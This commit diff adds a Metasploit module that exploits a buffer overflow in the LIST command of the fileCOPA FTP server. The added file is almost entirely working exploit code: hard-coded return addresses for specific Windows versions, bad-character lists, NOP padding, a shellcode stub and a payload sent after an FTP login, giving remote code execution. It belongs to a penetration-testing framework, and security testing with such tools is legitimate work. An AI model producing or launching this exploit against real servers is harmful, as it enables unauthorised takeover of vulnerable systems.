New module from Jacopo Cervini

git-svn-id: file:///home/svn/framework3/trunk@5098 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/ftp/filecopa_list_overflow.rb

@@ -0,0 +1,59 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Ftp::Filecopa_List_Overflow < Msf::Exploit::Remote
+
+	include Exploit::Remote::Ftp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'FileCopa FTP Server pre 18 Jul Version',
+			'Description'    => %q{
+				This module exploits the buffer overflow found in the LIST command
+        in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch
+			},
+			'Author'         => [ 'Jacopo Cervini' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 3714 $',
+			'References'     =>
+				[
+					[ 'BID', '19065' ],
+					[ 'OSVDB', '27389' ],
+				],
+			'Privileged'     => true,
+			'Payload'        =>
+				{
+					'Space'    => 400,
+					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
+					'StackAdjustment' => -3500,
+				},
+			'Platform' => 'win',
+
+			'Targets'        => 
+				[
+					[ 'Windows 2k Server SP4 English',   { 'Ret' => 0x7c2e7993, 'Nops' => 160 } ], # jmp esp
+					[ 'Windows XP Pro SP2 Italian',      { 'Ret' => 0x77f62740, 'Nops' => 240 } ]  # jmp esp
+				],
+			'DisclosureDate' => 'Jul 19 2006',
+			'DefaultTarget' => 0))
+	end
+
+	
+	def exploit
+		connect_login
+
+		print_status("Trying target #{target.name}...")
+
+		sploit =  "A "
+		sploit << make_nops(target['Nops'])
+		sploit << [target.ret].pack('V') + make_nops(4) + "\x66\x81\xc1\xa0\x01\x51\xc3" + make_nops(189) + payload.encoded 
+
+		send_cmd( ['LIST', sploit] , false)
+
+		handler
+		disconnect
+	end
+
+end
+end